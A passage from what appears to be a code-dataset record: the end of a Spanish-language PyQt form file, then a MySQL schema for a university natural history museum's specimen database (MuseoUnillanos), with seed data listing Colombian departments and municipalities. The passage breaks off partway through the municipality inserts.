self.label_29.setText(_translate(\"IngresarGeneral\", \"°\", None))\n self.pushButton_4.setText(_translate(\"IngresarGeneral\", \"Continuar\", None))\n self.groupBox_4.setTitle(_translate(\"IngresarGeneral\", \"Imagen\", None))\n self.label_30.setText(_translate(\"IngresarGeneral\", \"Ruta de la imagen\", None))\n\n" }, { "alpha_fraction": 0.540332555770874, "alphanum_fraction": 0.651832103729248, "avg_line_length": 32.37098693847656, "blob_id": "48fdb4e0fff8d0eaa6fdad281ebf288949c00a22", "content_id": "9d4e94367917f9dee77d4103bd800435e319f383", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 54412, "license_type": "no_license", "max_line_length": 742, "num_lines": 1620, "path": "/DB/PrincipalBD.sql", "repo_name": "Dani472/MuseoUnillanos", "src_encoding": "UTF-8", "text": "Create database if not exists MHNU;\nuse MHNU;\ncreate table if not exists usuarios(\n \tcod_usuar int auto_increment primary key,\n \tnomb_usuar varchar(20),\n \tclave varchar(20),\n \ttipo_us varchar(20)\n);\n\ncreate table if not exists coleccion(\n\tcod_col int auto_increment primary key,\n\tnomb_comun varchar(20),\n\tnomb_cientifico varchar(20),\n\tcarac_col varchar(100)\n);\n\ncreate table if not exists clase(\n\tcod_cla int auto_increment primary key,\n\tnomb_cla varchar(20),\t\n\tcod_col int ,\n\tconstraint fk_codcol foreign key (cod_col) references coleccion(cod_col)\n);\n\ncreate table if not exists orden(\n \tcod_ord int auto_increment primary key,\n \tnomb_ord varchar(20),\n\tcarac_ord varchar (100),\n \tcod_cla int,\n\tconstraint fk_codcla foreign key (cod_cla) references clase(cod_cla)\n);\n\ncreate table if not exists familia(\n \tcod_fam int auto_increment primary key,\n \tnomb_fam varchar(20),\n \tcod_ord int,\n\tconstraint fk_codord foreign key (cod_ord) references orden(cod_ord)\n);\n\ncreate table if not exists genero(\n \tcod_gen int auto_increment primary key,\n \tnomb_gen varchar(20),\n \tcod_fam int,\n\tconstraint fk_codfam foreign key (cod_fam) references familia(cod_fam)\n);\n\ncreate table if not exists especies(\n \tcod_esp int auto_increment primary key,\n \tnomb_esp varchar(40),\n\tcod_gen int,\n\tconstraint fk_codgen foreign key (cod_gen) references genero(cod_gen)\n);\n\ncreate table if not exists subespecie(\n \tcod_sub int auto_increment primary key,\n \tnomb_sub varchar(40),\n\tcod_esp int,\n\tconstraint fk_codesp foreign key (cod_esp) references especies(cod_esp)\n);\n\ncreate table if not exists pais(\n \tcod_pais int auto_increment primary key,\n \tnomb_pais varchar(20)\n);\n\ncreate table if not exists departamento(\n \tcod_dept int auto_increment primary key,\n \tnomb_dept varchar(20),\n\tcod_pais int,\n\tconstraint fk_codpais foreign key (cod_pais) references pais(cod_pais)\n);\n\ncreate table if not exists municipio(\n \tcod_mun int auto_increment primary key,\n \tnomb_mun varchar(90),\n \tcod_dept int,\n\tconstraint fk_coddep foreign key (cod_dept) references departamento(cod_dept)\n);\n\ncreate table if not exists localizacion(\n\tcod_loc int auto_increment primary key,\n \tlat_grad int,\n\tlat_min int,\t\n\tlat_seg float,\n\tlon_grad int,\n\tlon_min int,\t\n\tlon_seg float,\n\taltitud float,\n\tvereda varchar (30),\n\tcod_mun int,\n\tconstraint fk_codmun foreign key (cod_mun) references municipio(cod_mun)\n);\n\ncreate table if not exists colectores(\n \tcod_col int auto_increment primary key,\n \tnomb_col varchar(20),\n \tcorreo varchar(50)\n);\n\ncreate table if not exists animal_colectado(\n\tcod_ani int auto_increment primary key,\n \tcod_col int,\n\tcod_sub int,\n\tcod_loc int,\n\tEstado varchar(15),\n\tmetodo varchar(20),\n\tfecha date,\n\tnomb_ani varchar(30),\n\tpeso float,\n\thabitat varchar (100),\n\tanotaciones varchar (100),\n\tsexo varchar (2),\n\tconstraint fk_codsubes foreign key (cod_sub) references subespecie(cod_sub),\n\tconstraint fk_codcolec foreign key (cod_col) references colectores(cod_col),\n\tconstraint fk_codlocal foreign key (cod_loc) references localizacion(cod_loc)\t\n);\n\ncreate table if not exists tejidos( \n\tcod_teji int auto_increment primary key,\n \tcod_ani int,\n \tnombre varchar (20),\n \ttipo varchar (30),\n \tdescripcion varchar (50),\n \tconstraint fk_codanimales foreign key (cod_ani) references animal_colectado(cod_ani)\n \t);\n\ncreate table if not exists ornitologia(\n\tcod_ani int,\n\tcod_orn int auto_increment primary key,\n \tedad varchar (20) ,\n \tenvergadura float ,\n \tinf_repro varchar(50),\n \tgrasa float ,\n \tcont_est varchar(50),\n \tmuda varchar (200),\n \tpart_blan varchar (200),\n \tgonadas varchar (200),\n \toscificacion int,\n \tconstraint fk_codanimal foreign key (cod_ani) references animal_colectado(cod_ani)\n \t);\n \t\n create table if not exists aportes(\n codigo int auto_increment primary key,\n apor varchar(300),\n otro varchar(10)\n );\n\ninsert into pais (nomb_pais) values ('Colombia');\n\ninsert into departamento (nomb_dept,cod_pais) values ('Amazonas',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Antioquia',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Arauca',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Atlantico',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Bolivar',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Boyaca',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Caldas',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Caqueta',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Casanare',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Cauca',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Cesar',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Choco',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Cordoba',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Cundinamarca',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Guania',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Guaviare',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Huila',1);\ninsert into departamento (nomb_dept,cod_pais) values ('La guajira',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Magdalena',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Meta',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Nariño',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Norte de Santander',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Putumayo',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Quindio',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Risaralda',1);\ninsert into departamento (nomb_dept,cod_pais) values ('San andres',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Santander',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Sucre',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Tolima',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Valle del cauca',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Vaupes',1);\ninsert into departamento (nomb_dept,cod_pais) values ('Vichada',1);\n\nINSERT INTO municipio (cod_mun, cod_dept, nomb_mun) VALUES\n(1,1,'Leticia'),\n(2,1,'Puerto Nariño'),\n(3,2,'Abejorral'),\n(4,2,'Abriaquí'),\n(5,2,'Alejandria'),\n(6,2,'Amagá'),\n(7,2,'Amalfi'),\n(8,2,'Andes'),\n(9,2,'Angelópolis'),\n(10,2,'Angostura'),\n(11,2,'Anorí'),\n(12,2,'Anzá'),\n(13,2,'Apartadó'),\n(14,2,'Arboletes'),\n(15,2,'Argelia'),\n(16,2,'Armenia'),\n(17,2,'Barbosa'),\n(18,2,'Bello'),\n(19,2,'Belmira'),\n(20,2,'Betania'),\n(21,2,'Betulia'),\n(22,2,'Bolívar'),\n(23,2,'Briceño'),\n(24,2,'Burítica'),\n(25,2,'Caicedo'),\n(26,2,'Caldas'),\n(27,2,'Campamento'),\n(28,2,'Caracolí'),\n(29,2,'Caramanta'),\n(30,2,'Carepa'),\n(31,2,'Carmen de Viboral'),\n(32,2,'Carolina'),\n(33,2,'Caucasia'),\n(34,2,'Cañasgordas'),\n(35,2,'Chigorodó'),\n(36,2,'Cisneros'),\n(37,2,'Cocorná'),\n(38,2,'Concepción'),\n(39,2,'Concordia'),\n(40,2,'Copacabana'),\n(41,2,'Cáceres'),\n(42,2,'Dabeiba'),\n(43,2,'Don Matías'),\n(44,2,'Ebéjico'),\n(45,2,'El Bagre'),\n(46,2,'Entrerríos'),\n(47,2,'Envigado'),\n(48,2,'Fredonia'),\n(49,2,'Frontino'),\n(50,2,'Giraldo'),\n(51,2,'Girardota'),\n(52,2,'Granada'),\n(53,2,'Guadalupe'),\n(54,2,'Guarne'),\n(55,2,'Guatapé'),\n(56,2,'Gómez Plata'),\n(57,2,'Heliconia'),\n(58,2,'Hispania'),\n(59,2,'Itagüí'),\n(60,2,'Ituango'),\n(61,2,'Jardín'),\n(62,2,'Jericó'),\n(63,2,'La Ceja'),\n(64,2,'La Estrella'),\n(65,2,'La Pintada'),\n(66,2,'La Unión'),\n(67,2,'Liborina'),\n(68,2,'Maceo'),\n(69,2,'Marinilla'),\n(70,2,'Medellín'),\n(71,2,'Montebello'),\n(72,2,'Murindó'),\n(73,2,'Mutatá'),\n(74,2,'Nariño'),\n(75,2,'Nechí'),\n(76,2,'Necoclí'),\n(77,2,'Olaya'),\n(78,2,'Peque'),\n(79,2,'Peñol'),\n(80,2,'Pueblorrico'),\n(81,2,'Puerto Berrío'),\n(82,2,'Puerto Nare'),\n(83,2,'Puerto Triunfo'),\n(84,2,'Remedios'),\n(85,2,'Retiro'),\n(86,2,'Ríonegro'),\n(87,2,'Sabanalarga'),\n(88,2,'Sabaneta'),\n(89,2,'Salgar'),\n(90,2,'San Andrés de Cuerquía'),\n(91,2,'San Carlos'),\n(92,2,'San Francisco'),\n(93,2,'San Jerónimo'),\n(94,2,'San José de Montaña'),\n(95,2,'San Juan de Urabá'),\n(96,2,'San Luís'),\n(97,2,'San Pedro'),\n(98,2,'San Pedro de Urabá'),\n(99,2,'San Rafael'),\n(100,2,'San Roque'),\n(101,2,'San Vicente'),\n(102,2,'Santa Bárbara'),\n(103,2,'Santa Fé de Antioquia'),\n(104,2,'Santa Rosa de Osos'),\n(105,2,'Santo Domingo'),\n(106,2,'Santuario'),\n(107,2,'Segovia'),\n(108,2,'Sonsón'),\n(109,2,'Sopetrán'),\n(110,2,'Tarazá'),\n(111,2,'Tarso'),\n(112,2,'Titiribí'),\n(113,2,'Toledo'),\n(114,2,'Turbo'),\n(115,2,'Támesis'),\n(116,2,'Uramita'),\n(117,2,'Urrao'),\n(118,2,'Valdivia'),\n(119,2,'Valparaiso'),\n(120,2,'Vegachí'),\n(121,2,'Venecia'),\n(122,2,'Vigía del Fuerte'),\n(123,2,'Yalí'),\n(124,2,'Yarumal'),\n(125,2,'Yolombó'),\n(126,2,'Yondó (Casabe)'),\n(127,2,'Zaragoza'),\n(128,3,'Arauca'),\n(129,3,'Arauquita'),\n(130,3,'Cravo Norte'),\n(131,3,'Fortúl'),\n(132,3,'Puerto Rondón'),\n(133,3,'Saravena'),\n(134,3,'Tame'),\n(135,4,'Baranoa'),\n(136,4,'Barranquilla'),\n(137,4,'Campo de la Cruz'),\n(138,4,'Candelaria'),\n(139,4,'Galapa'),\n(140,4,'Juan de Acosta'),\n(141,4,'Luruaco'),\n(142,4,'Malambo'),\n(143,4,'Manatí'),\n(144,4,'Palmar de Varela'),\n(145,4,'Piojo'),\n(146,4,'Polonuevo'),\n(147,4,'Ponedera'),\n(148,4,'Puerto Colombia'),\n(149,4,'Repelón'),\n(150,4,'Sabanagrande'),\n(151,4,'Sabanalarga'),\n(152,4,'Santa Lucía'),\n(153,4,'Santo Tomás'),\n(154,4,'Soledad'),\n(155,4,'Suan'),\n(156,4,'Tubará'),\n(157,4,'Usiacuri'),\n(158,5,'Achí'),\n(159,5,'Altos del Rosario'),\n(160,5,'Arenal'),\n(161,5,'Arjona'),\n(162,5,'Arroyohondo'),\n(163,5,'Barranco de Loba'),\n(164,5,'Calamar'),\n(165,5,'Cantagallo'),\n(166,5,'Cartagena'),\n(167,5,'Cicuco'),\n(168,5,'Clemencia'),\n(169,5,'Córdoba'),\n(170,5,'El Carmen de Bolívar'),\n(171,5,'El Guamo'),\n(172,5,'El Peñon'),\n(173,5,'Hatillo de Loba'),\n(174,5,'Magangué'),\n(175,5,'Mahates'),\n(176,5,'Margarita'),\n(177,5,'María la Baja'),\n(178,5,'Mompós'),\n(179,5,'Montecristo'),\n(180,5,'Morales'),\n(181,5,'Norosí'),\n(182,5,'Pinillos'),\n(183,5,'Regidor'),\n(184,5,'Río Viejo'),\n(185,5,'San Cristobal'),\n(186,5,'San Estanislao'),\n(187,5,'San Fernando'),\n(188,5,'San Jacinto'),\n(189,5,'San Jacinto del Cauca'),\n(190,5,'San Juan de Nepomuceno'),\n(191,5,'San Martín de Loba'),\n(192,5,'San Pablo'),\n(193,5,'Santa Catalina'),\n(194,5,'Santa Rosa '),\n(195,5,'Santa Rosa del Sur'),\n(196,5,'Simití'),\n(197,5,'Soplaviento'),\n(198,5,'Talaigua Nuevo'),\n(199,5,'Tiquisio (Puerto Rico)'),\n(200,5,'Turbaco'),\n(201,5,'Turbaná'),\n(202,5,'Villanueva'),\n(203,5,'Zambrano'),\n(204,6,'Almeida'),\n(205,6,'Aquitania'),\n(206,6,'Arcabuco'),\n(207,6,'Belén'),\n(208,6,'Berbeo'),\n(209,6,'Beteitiva'),\n(210,6,'Boavita'),\n(211,6,'Boyacá'),\n(212,6,'Briceño'),\n(213,6,'Buenavista'),\n(214,6,'Busbanza'),\n(215,6,'Caldas'),\n(216,6,'Campohermoso'),\n(217,6,'Cerinza'),\n(218,6,'Chinavita'),\n(219,6,'Chiquinquirá'),\n(220,6,'Chiscas'),\n(221,6,'Chita'),\n(222,6,'Chitaraque'),\n(223,6,'Chivatá'),\n(224,6,'Chíquiza'),\n(225,6,'Chívor'),\n(226,6,'Ciénaga'),\n(227,6,'Coper'),\n(228,6,'Corrales'),\n(229,6,'Covarachía'),\n(230,6,'Cubará'),\n(231,6,'Cucaita'),\n(232,6,'Cuitiva'),\n(233,6,'Cómbita'),\n(234,6,'Duitama'),\n(235,6,'El Cocuy'),\n(236,6,'El Espino'),\n(237,6,'Firavitoba'),\n(238,6,'Floresta'),\n(239,6,'Gachantivá'),\n(240,6,'Garagoa'),\n(241,6,'Guacamayas'),\n(242,6,'Guateque'),\n(243,6,'Guayatá'),\n(244,6,'Guicán'),\n(245,6,'Gámeza'),\n(246,6,'Izá'),\n(247,6,'Jenesano'),\n(248,6,'Jericó'),\n(249,6,'La Capilla'),\n(250,6,'La Uvita'),\n(251,6,'La Victoria'),\n(252,6,'Labranzagrande'),\n(253,6,'Macanal'),\n(254,6,'Maripí'),\n(255,6,'Miraflores'),\n(256,6,'Mongua'),\n(257,6,'Monguí'),\n(258,6,'Moniquirá'),\n(259,6,'Motavita'),\n(260,6,'Muzo'),\n(261,6,'Nobsa'),\n(262,6,'Nuevo Colón'),\n(263,6,'Oicatá'),\n(264,6,'Otanche'),\n(265,6,'Pachavita'),\n(266,6,'Paipa'),\n(267,6,'Pajarito'),\n(268,6,'Panqueba'),\n(269,6,'Pauna'),\n(270,6,'Paya'),\n(271,6,'Paz de Río'),\n(272,6,'Pesca'),\n(273,6,'Pisva'),\n(274,6,'Puerto Boyacá'),\n(275,6,'Páez'),\n(276,6,'Quipama'),\n(277,6,'Ramiriquí'),\n(278,6,'Rondón'),\n(279,6,'Ráquira'),\n(280,6,'Saboyá'),\n(281,6,'Samacá'),\n(282,6,'San Eduardo'),\n(283,6,'San José de Pare'),\n(284,6,'San Luís de Gaceno'),\n(285,6,'San Mateo'),\n(286,6,'San Miguel de Sema'),\n(287,6,'San Pablo de Borbur'),\n(288,6,'Santa María'),\n(289,6,'Santa Rosa de Viterbo'),\n(290,6,'Santa Sofía'),\n(291,6,'Santana'),\n(292,6,'Sativanorte'),\n(293,6,'Sativasur'),\n(294,6,'Siachoque'),\n(295,6,'Soatá'),\n(296,6,'Socha'),\n(297,6,'Socotá'),\n(298,6,'Sogamoso'),\n(299,6,'Somondoco'),\n(300,6,'Sora'),\n(301,6,'Soracá'),\n(302,6,'Sotaquirá'),\n(303,6,'Susacón'),\n(304,6,'Sutamarchán'),\n(305,6,'Sutatenza'),\n(306,6,'Sáchica'),\n(307,6,'Tasco'),\n(308,6,'Tenza'),\n(309,6,'Tibaná'),\n(310,6,'Tibasosa'),\n(311,6,'Tinjacá'),\n(312,6,'Tipacoque'),\n(313,6,'Toca'),\n(314,6,'Toguí'),\n(315,6,'Topagá'),\n(316,6,'Tota'),\n(317,6,'Tunja'),\n(318,6,'Tunungua'),\n(319,6,'Turmequé'),\n(320,6,'Tuta'),\n(321,6,'Tutasá'),\n(322,6,'Ventaquemada'),\n(323,6,'Villa de Leiva'),\n(324,6,'Viracachá'),\n(325,6,'Zetaquirá'),\n(326,6,'Úmbita'),\n(327,7,'Aguadas'),\n(328,7,'Anserma'),\n(329,7,'Aranzazu'),\n(330,7,'Belalcázar'),\n(331,7,'Chinchiná'),\n(332,7,'Filadelfia'),\n(333,7,'La Dorada'),\n(334,7,'La Merced'),\n(335,7,'La Victoria'),\n(336,7,'Manizales'),\n(337,7,'Manzanares'),\n(338,7,'Marmato'),\n(339,7,'Marquetalia'),\n(340,7,'Marulanda'),\n(341,7,'Neira'),\n(342,7,'Norcasia'),\n(343,7,'Palestina'),\n(344,7,'Pensilvania'),\n(345,7,'Pácora'),\n(346,7,'Risaralda'),\n(347,7,'Río Sucio'),\n(348,7,'Salamina'),\n(349,7,'Samaná'),\n(350,7,'San José'),\n(351,7,'Supía'),\n(352,7,'Villamaría'),\n(353,7,'Viterbo'),\n(354,8,'Albania'),\n(355,8,'Belén de los Andaquíes'),\n(356,8,'Cartagena del Chairá'),\n(357,8,'Curillo'),\n(358,8,'El Doncello'),\n(359,8,'El Paujil'),\n(360,8,'Florencia'),\n(361,8,'La Montañita'),\n(362,8,'Milán'),\n(363,8,'Morelia'),\n(364,8,'Puerto Rico'),\n(365,8,'San José del Fragua'),\n(366,8,'San Vicente del Caguán'),\n(367,8,'Solano'),\n(368,8,'Solita'),\n(369,8,'Valparaiso'),\n(370,9,'Aguazul'),\n(371,9,'Chámeza'),\n(372,9,'Hato Corozal'),\n(373,9,'La Salina'),\n(374,9,'Maní'),\n(375,9,'Monterrey'),\n(376,9,'Nunchía'),\n(377,9,'Orocué'),\n(378,9,'Paz de Ariporo'),\n(379,9,'Pore'),\n(380,9,'Recetor'),\n(381,9,'Sabanalarga'),\n(382,9,'San Luís de Palenque'),\n(383,9,'Sácama'),\n(384,9,'Tauramena'),\n(385,9,'Trinidad'),\n(386,9,'Támara'),\n(387,9,'Villanueva'),\n(388,9,'Yopal'),\n(389,10,'Almaguer'),\n(390,10,'Argelia'),\n(391,10,'Balboa'),\n(392,10,'Bolívar'),\n(393,10,'Buenos Aires'),\n(394,10,'Cajibío'),\n(395,10,'Caldono'),\n(396,10,'Caloto'),\n(397,10,'Corinto'),\n(398,10,'El Tambo'),\n(399,10,'Florencia'),\n(400,10,'Guachené'),\n(401,10,'Guapí'),\n(402,10,'Inzá'),\n(403,10,'Jambaló'),\n(404,10,'La Sierra'),\n(405,10,'La Vega'),\n(406,10,'López (Micay)'),\n(407,10,'Mercaderes'),\n(408,10,'Miranda'),\n(409,10,'Morales'),\n(410,10,'Padilla'),\n(411,10,'Patía (El Bordo)'),\n(412,10,'Piamonte'),\n(413,10,'Piendamó'),\n(414,10,'Popayán'),\n(415,10,'Puerto Tejada'),\n(416,10,'Puracé (Coconuco)'),\n(417,10,'Páez (Belalcazar)'),\n(418,10,'Rosas'),\n(419,10,'San Sebastián'),\n(420,10,'Santa Rosa'),\n(421,10,'Santander de Quilichao'),\n(422,10,'Silvia'),\n(423,10,'Sotara (Paispamba)'),\n(424,10,'Sucre'),\n(425,10,'Suárez'),\n(426,10,'Timbiquí'),\n(427,10,'Timbío'),\n(428,10,'Toribío'),\n(429,10,'Totoró'),\n(430,10,'Villa Rica'),\n(431,11,'Aguachica'),\n(432,11,'Agustín Codazzi'),\n(433,11,'Astrea'),\n(434,11,'Becerríl'),\n(435,11,'Bosconia'),\n(436,11,'Chimichagua'),\n(437,11,'Chiriguaná'),\n(438,11,'Curumaní'),\n(439,11,'El Copey'),\n(440,11,'El Paso'),\n(441,11,'Gamarra'),\n(442,11,'Gonzalez'),\n(443,11,'La Gloria'),\n(444,11,'La Jagua de Ibirico'),\n(445,11,'La Paz (Robles)'),\n(446,11,'Manaure Balcón del Cesar'),\n(447,11,'Pailitas'),\n(448,11,'Pelaya'),\n(449,11,'Pueblo Bello'),\n(450,11,'Río de oro'),\n(451,11,'San Alberto'),\n(452,11,'San Diego'),\n(453,11,'San Martín'),\n(454,11,'Tamalameque'),\n(455,11,'Valledupar'),\n(456,12,'Acandí'),\n(457,12,'Alto Baudó (Pie de Pato)'),\n(458,12,'Atrato (Yuto)'),\n(459,12,'Bagadó'),\n(460,12,'Bahía Solano (Mútis)'),\n(461,12,'Bajo Baudó (Pizarro)'),\n(462,12,'Belén de Bajirá'),\n(463,12,'Bojayá (Bellavista)'),\n(464,12,'Cantón de San Pablo'),\n(465,12,'Carmen del Darién (CURBARADÓ)'),\n(466,12,'Condoto'),\n(467,12,'Cértegui'),\n(468,12,'El Carmen de Atrato'),\n(469,12,'Istmina'),\n(470,12,'Juradó'),\n(471,12,'Lloró'),\n(472,12,'Medio Atrato'),\n(473,12,'Medio Baudó'),\n(474,12,'Medio San Juan (ANDAGOYA)'),\n(475,12,'Novita'),\n(476,12,'Nuquí'),\n(477,12,'Quibdó'),\n(478,12,'Río Iró'),\n(479,12,'Río Quito'),\n(480,12,'Ríosucio'),\n(481,12,'San José del Palmar'),\n(482,12,'Santa Genoveva de Docorodó'),\n(483,12,'Sipí'),\n(484,12,'Tadó'),\n(485,12,'Unguía'),\n(486,12,'Unión Panamericana (ÁNIMAS)'),\n(487,13,'Ayapel'),\n(488,13,'Buenavista'),\n(489,13,'Canalete'),\n(490,13,'Cereté'),\n(491,13,'Chimá'),\n(492,13,'Chinú'),\n(493,13,'Ciénaga de Oro'),\n(494,13,'Cotorra'),\n(495,13,'La Apartada y La Frontera'),\n(496,13,'Lorica'),\n(497,13,'Los Córdobas'),\n(498,13,'Momil'),\n(499,13,'Montelíbano'),\n(500,13,'Monteria'),\n(501,13,'Moñitos'),\n(502,13,'Planeta Rica'),\n(503,13,'Pueblo Nuevo'),\n(504,13,'Puerto Escondido'),\n(505,13,'Puerto Libertador'),\n(506,13,'Purísima'),\n(507,13,'Sahagún'),\n(508,13,'San Andrés Sotavento'),\n(509,13,'San Antero'),\n(510,13,'San Bernardo del Viento'),\n(511,13,'San Carlos'),\n(512,13,'San José de Uré'),\n(513,13,'San Pelayo'),\n(514,13,'Tierralta'),\n(515,13,'Tuchín'),\n(516,13,'Valencia'),\n(517,14,'Agua de Dios'),\n(518,14,'Albán'),\n(519,14,'Anapoima'),\n(520,14,'Anolaima'),\n(521,14,'Apulo'),\n(522,14,'Arbeláez'),\n(523,14,'Beltrán'),\n(524,14,'Bituima'),\n(525,14,'Bogotá D.C.'),\n(526,14,'Bojacá'),\n(527,14,'Cabrera'),\n(528,14,'Cachipay'),\n(529,14,'Cajicá'),\n(530,14,'Caparrapí'),\n(531,14,'Carmen de Carupa'),\n(532,14,'Chaguaní'),\n(533,14,'Chipaque'),\n(534,14,'Choachí'),\n(535,14,'Chocontá'),\n(536,14,'Chía'),\n(537,14,'Cogua'),\n(538,14,'Cota'),\n(539,14,'Cucunubá'),\n(540,14,'Cáqueza'),\n(541,14,'El Colegio'),\n(542,14,'El Peñón'),\n(543,14,'El Rosal'),\n(544,14,'Facatativá'),\n(545,14,'Fosca'),\n(546,14,'Funza'),\n(547,14,'Fusagasugá'),\n(548,14,'Fómeque'),\n(549,14,'Fúquene'),\n(550,14,'Gachalá'),\n(551,14,'Gachancipá'),\n(552,14,'Gachetá'),\n(553,14,'Gama'),\n(554,14,'Girardot'),\n(555,14,'Granada'),\n(556,14,'Guachetá'),\n(557,14,'Guaduas'),\n(558,14,'Guasca'),\n(559,14,'Guataquí'),\n(560,14,'Guatavita'),\n(561,14,'Guayabal de Siquima'),\n(562,14,'Guayabetal'),\n(563,14,'Gutiérrez'),\n(564,14,'Jerusalén'),\n(565,14,'Junín'),\n(566,14,'La Calera'),\n(567,14,'La Mesa'),\n(568,14,'La Palma'),\n(569,14,'La Peña'),\n(570,14,'La Vega'),\n(571,14,'Lenguazaque'),\n(572,14,'Machetá'),\n(573,14,'Madrid'),\n(574,14,'Manta'),\n(575,14,'Medina'),\n(576,14,'Mosquera'),\n(577,14,'Nariño'),\n(578,14,'Nemocón'),\n(579,14,'Nilo'),\n(580,14,'Nimaima'),\n(581,14,'Nocaima'),\n(582,14,'Pacho'),\n(583,14,'Paime'),\n(584,14,'Pandi'),\n(585,14,'Paratebueno'),\n(586,14,'Pasca'),\n(587,14,'Puerto Salgar'),\n(588,14,'Pulí'),\n(589,14,'Quebradanegra'),\n(590,14,'Quetame'),\n(591,14,'Quipile'),\n(592,14,'Ricaurte'),\n(593,14,'San Antonio de Tequendama'),\n(594,14,'San Bernardo'),\n(595,14,'San Cayetano'),\n(596,14,'San Francisco'),\n(597,14,'San Juan de Río Seco'),\n(598,14,'Sasaima'),\n(599,14,'Sesquilé'),\n(600,14,'Sibaté'),\n(601,14,'Silvania'),\n(602,14,'Simijaca'),\n(603,14,'Soacha'),\n(604,14,'Sopó'),\n(605,14,'Subachoque'),\n(606,14,'Suesca'),\n(607,14,'Supatá'),\n(608,14,'Susa'),\n(609,14,'Sutatausa'),\n(610,14,'Tabio'),\n(611,14,'Tausa'),\n(612,14,'Tena'),\n(613,14,'Tenjo'),\n(614,14,'Tibacuy'),\n(615,14,'Tibirita'),\n(616,14,'Tocaima'),\n(617,14,'Tocancipá'),\n(618,14,'Topaipí'),\n(619,14,'Ubalá'),\n(620,14,'Ubaque'),\n(621,14,'Ubaté'),\n(622,14,'Une'),\n(623,14,'Venecia (Ospina Pérez)'),\n(624,14,'Vergara'),\n(625,14,'Viani'),\n(626,14,'Villagómez'),\n(627,14,'Villapinzón'),\n(628,14,'Villeta'),\n(629,14,'Viotá'),\n(630,14,'Yacopí'),\n(631,14,'Zipacón'),\n(632,14,'Zipaquirá'),\n(633,14,'Útica'),\n(634,15,'Inírida'),\n(635,16,'Calamar'),\n(636,16,'El Retorno'),\n(637,16,'Miraflores'),\n(638,16,'San José del Guaviare'),\n(639,17,'Acevedo'),\n(640,17,'Agrado'),\n(641,17,'Aipe'),\n(642,17,'Algeciras'),\n(643,17,'Altamira'),\n(644,17,'Baraya'),\n(645,17,'Campoalegre'),\n(646,17,'Colombia'),\n(647,17,'Elías'),\n(648,17,'Garzón'),\n(649,17,'Gigante'),\n(650,17,'Guadalupe'),\n(651,17,'Hobo'),\n(652,17,'Isnos'),\n(653,17,'La Argentina'),\n(654,17,'La Plata'),\n(655,17,'Neiva'),\n(656,17,'Nátaga'),\n(657,17,'Oporapa'),\n(658,17,'Paicol'),\n(659,17,'Palermo'),\n(660,17,'Palestina'),\n(661,17,'Pital'),\n(662,17,'Pitalito'),\n(663,17,'Rivera'),\n(664,17,'Saladoblanco'),\n(665,17,'San Agustín'),\n(666,17,'Santa María'),\n(667,17,'Suaza'),\n(668,17,'Tarqui'),\n(669,17,'Tello'),\n(670,17,'Teruel'),\n(671,17,'Tesalia'),\n(672,17,'Timaná'),\n(673,17,'Villavieja'),\n(674,17,'Yaguará'),\n(675,17,'Íquira'),\n(676,18,'Albania'),\n(677,18,'Barrancas'),\n(678,18,'Dibulla'),\n(679,18,'Distracción'),\n(680,18,'El Molino'),\n(681,18,'Fonseca'),\n(682,18,'Hatonuevo'),\n(683,18,'La Jagua del Pilar'),\n(684,18,'Maicao'),\n(685,18,'Manaure'),\n(686,18,'Riohacha'),\n(687,18,'San Juan del Cesar'),\n(688,18,'Uribia'),\n(689,18,'Urumita'),\n(690,18,'Villanueva'),\n(691,19,'Algarrobo'),\n(692,19,'Aracataca'),\n(693,19,'Ariguaní (El Difícil)'),\n(694,19,'Cerro San Antonio'),\n(695,19,'Chivolo'),\n(696,19,'Ciénaga'),\n(697,19,'Concordia'),\n(698,19,'El Banco'),\n(699,19,'El Piñon'),\n(700,19,'El Retén'),\n(701,19,'Fundación'),\n(702,19,'Guamal'),\n(703,19,'Nueva Granada'),\n(704,19,'Pedraza'),\n(705,19,'Pijiño'),\n(706,19,'Pivijay'),\n(707,19,'Plato'),\n(708,19,'Puebloviejo'),\n(709,19,'Remolino'),\n(710,19,'Sabanas de San Angel (SAN ANGEL)'),\n(711,19,'Salamina'),\n(712,19,'San Sebastián de Buenavista'),\n(713,19,'San Zenón'),\n(714,19,'Santa Ana'),\n(715,19,'Santa Bárbara de Pinto'),\n(716,19,'Santa Marta'),\n(717,19,'Sitionuevo'),\n(718,19,'Tenerife'),\n(719,19,'Zapayán (PUNTA DE PIEDRAS)'),\n(720,19,'Zona Bananera (PRADO - SEVILLA)'),\n(721,20,'Acacías'),\n(722,20,'Barranca de Upía'),\n(723,20,'Cabuyaro'),\n(724,20,'Castilla la Nueva'),\n(725,20,'Cubarral'),\n(726,20,'Cumaral'),\n(727,20,'El Calvario'),\n(728,20,'El Castillo'),\n(729,20,'El Dorado'),\n(730,20,'Fuente de Oro'),\n(731,20,'Granada'),\n(732,20,'Guamal'),\n(733,20,'La Macarena'),\n(734,20,'Lejanías'),\n(735,20,'Mapiripan'),\n(736,20,'Mesetas'),\n(737,20,'Puerto Concordia'),\n(738,20,'Puerto Gaitán'),\n(739,20,'Puerto Lleras'),\n(740,20,'Puerto 